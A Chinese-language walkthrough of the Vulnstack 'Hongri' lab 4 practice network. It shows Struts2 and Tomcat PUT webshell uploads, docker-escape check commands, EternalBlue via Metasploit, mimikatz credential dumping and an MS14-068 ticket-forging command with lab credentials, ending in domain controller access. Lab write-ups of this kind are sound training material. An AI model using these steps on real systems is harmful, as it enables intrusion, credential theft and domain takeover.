红日靶场4
红日靶场4
环境搭建
下载地址:http://vulnstack.qiyuanxuetang.net/vuln/detail/6/
然后解压下来三个文件
分别启动每一个的.ovf文件
网卡的配置
两台win主机都选择183这个段
然后web的话第一张网卡选择了NAT,第二张就也是183那个段
机器内容的配置
win7这台机器可以去控制面板设置息屏时间设置为永不息屏即可
web这台机器需要
1 | sudo -s |
到此环境便搭建成功了!
外网打点
首先nmap进行端口的扫描
发现这里开了4个端口,22,2001,2002,2003
Struts2
发现这里是struts2的框架,这里直接上工具
扫描出来了s2-045/s2-046
尝试进行漏洞的利用
然后利用命令执行,找到上传的路径**/usr/src/src/main/webapp/**
导入冰蝎的木马进行上传,成功冰蝎上线
TomCat 8.5
然后搜索tomcat8.5.19漏洞
找到任意文件写入漏洞进行复现
PUT方法任意写文件漏洞(CVE-2017-12615)
只需要put方法写入即可成功
以上帝视角去容器中看看成功写入1.txt
1 | docker exec -it 容器id /bin/bash |
然后继续上传jsp的木马,发现报错404
最终通过**/1.jsp/**上传成功,并且解析
PhpMyAdmin
docker逃逸
判断是否为容器环境
首先对于 RT 而言,需要先判断当前环境是不是容器环境,可以直接使用下面的命令去判断
1 | cat /proc/1/cgroup | grep -qi docker && echo "Is Docker" || echo "Not Docker" |
如果返回 Is Docker,说明当前是 Docker 容器环境,反之亦然。
容器逃逸介绍
在开始之前对于容器逃逸主要有以下三种方法:
- 不安全的配置
- 相关程序漏洞
- 内核漏洞
这里分别列举一下每种逃逸的检测方法,这样在拿到一个容器权限的时候,本文可以起到一个手册的作用。
RT 可以通过本文中所提到的检测方法,判断出当前容器可能存在哪种逃逸漏洞,从而采取对应的逃逸方法。
不安全的配置
1、特权模式
执行以下命令,如果返回 Is privileged mode 则说明当前是特权模式
1 | cat /proc/self/status | grep -qi "0000003fffffffff" && echo "Is privileged mode" || echo "Not privileged mode" |
如果返回 Not privileged mode 则说明当前不是特权模式
2、挂载 Docker Socket
执行以下命令,如果返回 Docker Socket is mounted. 说明当前挂载了 Docker Socket
1 | ls /var/run/ | grep -qi docker.sock && echo "Docker Socket is mounted." || echo "Docker Socket is not mounted." |
如果返回 Docker Socket is not mounted. 则说明没有挂载
3、挂载 procfs
执行以下命令,如果返回 Procfs is mounted. 说明当前挂载了 procfs
1 | find / -name core_pattern 2>/dev/null | wc -l | grep -q 2 && echo "Procfs is mounted." || echo "Procfs is not mounted." |
如果返回 Procfs is not mounted. 则说明没有挂载
4、挂载宿主机根目录
执行以下命令,如果返回 Root directory is mounted. 则说明宿主机目录被挂载
1 | find / -name passwd 2>/dev/null | grep /etc/passwd | wc -l | grep -q 7 && echo "Root directory is mounted." || echo "Root directory is not mounted." |
如果返回 Root directory is not mounted. 则说明没有挂载
5、Docker remote api 未授权访问
执行以下命令,如果返回 Docker Remote API Is Enabled. 说明目标存在 Docker remote api 未授权访问
1 | IP=`hostname -i | awk -F. '{print $1 "." $2 "." $3 ".1"}' ` && timeout 3 bash -c "echo >/dev/tcp/$IP/2375" > /dev/null 2>&1 && echo "Docker Remote API Is Enabled." || echo "Docker Remote API is Closed." |
如果返回 Docker Remote API is Closed. 则表示目标不存在 Docker remote api 未授权访问
因此发现tomcat这台docker可以进逃逸
1 | cd / |
挂在成功!
ssh免密登录
复现失败,直接用ubuntu的帐号登录的
内网遨游
登录ubuntu后,发现了183的网段,直接fscan一阵扫描
1 | start infoscan |
在这两台机器上出现了永恒之蓝
1 | [+] 192.168.183.159 MS17-010 (Windows 7 Enterprise 7601 Service Pack 1) |
传个frp上去挂个代理
然后连接kali端
然后就选择msf打永恒之蓝
这里有个坑点,不要用proxychains进msf,可能17010打不进去,或者shell进不去
1 | msfconsole |
信息搜集
1 | ipconfig /all |
开启3389
1 | #开启3389 2选一 |
然后用猕猴桃查密码发现了douser用户及其密码
1 | proxychains rdesktop 192.168.183.162 |
1 | #于是准备修改admin的密码进行登录 |
登录发现被停用了于是键入
1 | net user administrator /active:yes |
发现这里存在ms14-068
1 | MS14068是一个能够使普通用户提权到域控权限的权限提升漏洞。攻击者可以通过构造特定的请求包来达到提升权限的目的。 |
首先在msf中进程迁移到douser用户得到sid
然后再RDP中进行导入生成票据
1 | MS14-068.exe -u douser@demo.com -p Dotest123 -d 192.168.183.130 -s S-1-5-21-979886063-1111900045-1414766810-1107 |
会生成一个TGT_douser@demo.com.ccache的文件再当前目录
然后利用猕猴桃生成
1 | mimikatz.exe |
拿下DC
1 | dir \\192.168.183.130\C$ |
成功访问DC的C盘
此时利用存在psexec进行注入
发现开启了防火墙,进行关闭然后使用永恒之蓝打入